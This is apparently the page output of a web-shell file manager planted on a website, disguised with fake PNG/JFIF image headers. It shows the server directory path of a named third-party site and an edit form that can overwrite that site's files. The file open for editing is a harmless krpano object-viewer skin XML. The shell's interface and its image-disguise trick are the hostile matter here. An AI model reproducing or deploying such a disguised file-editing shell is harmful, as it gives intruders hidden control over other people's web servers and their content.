�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2F'>www.simonhausberger.com</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2Fskin%2F'>skin</a>/</p><hr><h3>✏️ Editing: objectskin.xml</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;!--
	krpano - object movie rotate/zoom/move example skin 
--&gt;

&lt;krpano&gt;

	&lt;events name=&quot;objectskin&quot;
	        onnewpano=&quot;setup_object_viewer(backup);&quot;
	        onremovepano=&quot;setup_object_viewer(restore);&quot;
	        onenterfullscreen=&quot;set(plugin[openfs].visible,false); set(plugin[closefs].visible,true);&quot;
	        onexitfullscreen =&quot;set(plugin[openfs].visible,true); set(plugin[closefs].visible,false);&quot;
	        onmousedown=&quot;mdown();&quot;
	        onmouseup=&quot;mup();&quot;
	        onidle=&quot;showup_rotate_buttons();&quot;
	        onviewchange=&quot;if(fullviewfov===null, if(view.fov != 90, copy(fullviewfov,view.fov);roundval(fullviewfov,1); ));
	                      copy(fovrounded,view.fov);
	                      roundval(fovrounded,1);
	                      if(fovrounded LT fullviewfov, set(control.mousespeed,10), set(control.mousespeed,0));&quot;
	        /&gt;

	&lt;action name=&quot;backup&quot;&gt;
		copy(objectbackup.%1,%1);
		set(%1,%2);
	&lt;/action&gt;
	
	&lt;action name=&quot;restore&quot;&gt;
		copy(%1,objectbackup.%1);
	&lt;/action&gt;

	&lt;action name=&quot;setup_object_viewer&quot;&gt;
		&lt;!-- backup and set or restore all settings for viewing objects --&gt;
		%1(idletime, 2.0);
		%1(view.fovtype, HFOV);
		%1(view.limitview, fullrange);
		%1(view.maxpixelzoom, 1.0);
		%1(control.zoomtocursor, true);
		%1(control.zoomoutcursor, true);
		%1(control.mode, drag);
		%1(control.mousespeed, mousespeed);
		%1(display.stillquality, HIGHSHARP);
	&lt;/action&gt;
	

	&lt;!-- object mouse rotate actions --&gt;
	
	&lt;action name=&quot;mdown&quot;&gt;
		if(control.mousespeed == 0,
			set(mbdown, true);
			set(lastframepos,null);
			objectrotate();
		  );
	&lt;/action&gt;

	&lt;action name=&quot;mup&quot;&gt;
		set(mbdown, false);
	&lt;/action&gt;

	&lt;action name=&quot;objectrotate&quot;&gt;
		div(mxpos, mouse.x, stagewidth);
		mul(framepos, mxpos, image.frames);
		roundval(framepos);

		if(lastframepos == null, copy(lastframepos,framepos));

		sub(framemove, lastframepos, framepos);
		copy(lastframepos,framepos);

		set(rotatedirection, right);
		if(framemove LT 0, mul(framemove,framemove,-1); set(rotatedirection, left); );

		if(mbdown,
			if(framemove != 0,
				if(rotatedirection == left,
					dec(image.frame,get(framemove),1,get(image.frames));
				   ,
					inc(image.frame,get(framemove),get(image.frames),1);
				  );
			  );

			delayedcall(0.01,objectrotate());
		  );
	&lt;/action&gt;


	&lt;!-- object UI skin - buttons --&gt;

	&lt;textstyle name=&quot;buttonstyle&quot; font=&quot;Arial&quot; fontsize=&quot;12&quot; bold=&quot;true&quot; italic=&quot;true&quot;
	           textcolor=&quot;0x000000&quot; background=&quot;false&quot; border=&quot;false&quot;
	           blendmode=&quot;layer&quot; effect=&quot;glow(0xFFFFFF,0.85,4,4);dropshadow(2,45,0x000000,4,1);&quot;
	           origin=&quot;cursor&quot; edge=&quot;bottom&quot; xoffset=&quot;15&quot; yoffset=&quot;-5&quot; showtime=&quot;0.1&quot; fadeintime=&quot;0.1&quot; fadetime=&quot;0.1&quot;
	           /&gt;

	&lt;style name=&quot;button&quot; url=&quot;%VIEWER%/skin/buttons.png&quot; zorder=&quot;3&quot; keep=&quot;true&quot; /&gt;

	&lt;plugin name=&quot;in&quot;       align=&quot;bottom&quot; x=&quot;-120&quot; y=&quot;10&quot; style=&quot;button&quot; crop=&quot;160|0|40|40&quot; onovercrop=&quot;160|40|40|40&quot; ondowncrop=&quot;160|80|40|40&quot; onhover=&quot;showtext(&#039;Zoom IN &#039;, buttonstyle);&quot;   ondown=&quot;set(movevectorz,-1);&quot;  onup=&quot;set(movevectorz,0);&quot; /&gt;
	&lt;plugin name=&quot;out&quot;      align=&quot;bottom&quot; x=&quot;-80&quot;  y=&quot;10&quot; style=&quot;button&quot; crop=&quot;200|0|40|40&quot; onovercrop=&quot;200|40|40|40&quot; ondowncrop=&quot;200|80|40|40&quot; onhover=&quot;showtext(&#039;Zoom OUT &#039;, buttonstyle);&quot;  ondown=&quot;set(movevectorz,+1);&quot;  onup=&quot;set(movevectorz,0);&quot; /&gt;
	&lt;plugin name=&quot;left&quot;     align=&quot;bottom&quot; x=&quot;-40&quot;  y=&quot;10&quot; style=&quot;button&quot; crop=  &quot;0|0|40|40&quot; onovercrop=  &quot;0|40|40|40&quot; ondowncrop=  &quot;0|80|40|40&quot; onhover=&quot;showtext(&#039;Pan Left &#039;, buttonstyle);&quot;  ondown=&quot;set(movevectorx,-1);&quot;  onup=&quot;set(movevectorx,0);&quot; /&gt;
	&lt;plugin name=&quot;right&quot;    align=&quot;bottom&quot; x=&quot;0&quot;    y=&quot;10&quot; style=&quot;button&quot; crop= &quot;40|0|40|40&quot; onovercrop= &quot;40|40|40|40&quot; ondowncrop= &quot;40|80|40|40&quot; onhover=&quot;showtext(&#039;Pan Right &#039;, buttonstyle);&quot; ondown=&quot;set(movevectorx,+1);&quot;  onup=&quot;set(movevectorx,0);&quot; /&gt;
	&lt;plugin name=&quot;up&quot;       align=&quot;bottom&quot; x=&quot;+40&quot;  y=&quot;10&quot; style=&quot;button&quot; crop= &quot;80|0|40|40&quot; onovercrop= &quot;80|40|40|40&quot; ondowncrop= &quot;80|80|40|40&quot; onhover=&quot;showtext(&#039;Pan Up &#039;, buttonstyle);&quot;    ondown=&quot;set(movevectory,-1);&quot;  onup=&quot;set(movevectory,0);&quot; /&gt;
	&lt;plugin name=&quot;down&quot;     align=&quot;bottom&quot; x=&quot;+80&quot;  y=&quot;10&quot; style=&quot;button&quot; crop=&quot;120|0|40|40&quot; onovercrop=&quot;120|40|40|40&quot; ondowncrop=&quot;120|80|40|40&quot; onhover=&quot;showtext(&#039;Pan Down &#039;, buttonstyle);&quot;  ondown=&quot;set(movevectory,+1);&quot;  onup=&quot;set(movevectory,0);&quot; /&gt;
	&lt;plugin name=&quot;openfs&quot;   align=&quot;bottom&quot; x=&quot;+120&quot; y=&quot;10&quot; style=&quot;button&quot; crop=&quot;280|0|40|40&quot; onovercrop=&quot;280|40|40|40&quot; ondowncrop=&quot;280|80|40|40&quot; onhover=&quot;showtext(&#039;Fullscreen &#039;, buttonstyle);&quot;      onclick=&quot;set(fullscreen,true);&quot;  visible=&quot;true&quot;  /&gt;
	&lt;plugin name=&quot;closefs&quot;  align=&quot;bottom&quot; x=&quot;+120&quot; y=&quot;10&quot; style=&quot;button&quot; crop=&quot;320|0|40|40&quot; onovercrop=&quot;320|40|40|40&quot; ondowncrop=&quot;320|80|40|40&quot; onhover=&quot;showtext(&#039;Exit Fullscreen &#039;,buttonstyle);&quot;  onclick=&quot;set(fullscreen,false);&quot; visible=&quot;false&quot; /&gt;

	&lt;plugin name=&quot;rotaterightbg&quot; url=&quot;%VIEWER%/skin/black.png&quot; align=&quot;right&quot; width=&quot;125&quot; height=&quot;100%&quot; alpha=&quot;0.0&quot; zorder=&quot;1&quot; onover=&quot;tween(plugin[rotaterightbg].alpha,0.7);&quot; onout=&quot;tween(plugin[rotaterightbg].alpha,0);&quot; ondown=&quot;startrotateleft();&quot;  onup=&quot;stoprotate();&quot; /&gt;
	&lt;plugin name=&quot;rotateleftbg&quot;  url=&quot;%VIEWER%/skin/black.png&quot; align=&quot;left&quot;  width=&quot;125&quot; height=&quot;100%&quot; alpha=&quot;0.0&quot; zorder=&quot;1&quot; onover=&quot;tween(plugin[rotateleftbg].alpha,0.7);&quot;  onout=&quot;tween(plugin[rotateleftbg].alpha,0);&quot;  ondown=&quot;startrotateright();&quot; onup=&quot;stoprotate();&quot; /&gt;

	&lt;plugin name=&quot;rotaterighticon&quot; url=&quot;%VIEWER%/skin/arrow.png&quot; align=&quot;right&quot; x=&quot;10&quot; scale=&quot;0.5&quot; zorder=&quot;2&quot; enabled=&quot;false&quot; parent=&quot;rotaterightbg&quot; /&gt;
	&lt;plugin name=&quot;rotatelefticon&quot;  url=&quot;%VIEWER%/skin/arrow.png&quot; align=&quot;left&quot; edge=&quot;right&quot; rotate=&quot;180&quot; x=&quot;10&quot; scale=&quot;0.5&quot; zorder=&quot;2&quot; enabled=&quot;false&quot;  parent=&quot;rotateleftbg&quot; /&gt;


	&lt;!-- button actions --&gt;

	&lt;action name=&quot;showup_rotate_buttons&quot;&gt;
		tween(plugin[rotaterightbg].alpha, 0.7, 1.5, easeOutQuad, tween(plugin[rotaterightbg].alpha, 0.0, 2.5, easeInExpo));
		tween(plugin[rotateleftbg].alpha,  0.7, 1.5, easeOutQuad, tween(plugin[rotateleftbg].alpha,  0.0, 2.5, easeInExpo));
	&lt;/action&gt;

	&lt;action name=&quot;startrotateleft&quot;&gt;
		set(rotateing,true);
		rotateleft();
	&lt;/action&gt;

	&lt;action name=&quot;startrotateright&quot;&gt;
		set(rotateing,true);
		rotateright();
	&lt;/action&gt;

	&lt;action name=&quot;rotateleft&quot;&gt;
		dec(image.frame,1,1,get(image.frames));
		delayedcall(0.02, if(rotateing,rotateleft()) );
	&lt;/action&gt;

	&lt;action name=&quot;rotateright&quot;&gt;
		inc(image.frame,1,get(image.frames),1);
		delayedcall(0.02, if(rotateing,rotateright()) );
	&lt;/action&gt;

	&lt;action name=&quot;stoprotate&quot;&gt;
		set(rotateing,false);
	&lt;/action&gt;

&lt;/krpano&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2Fskin'>🔙 Back</a></p>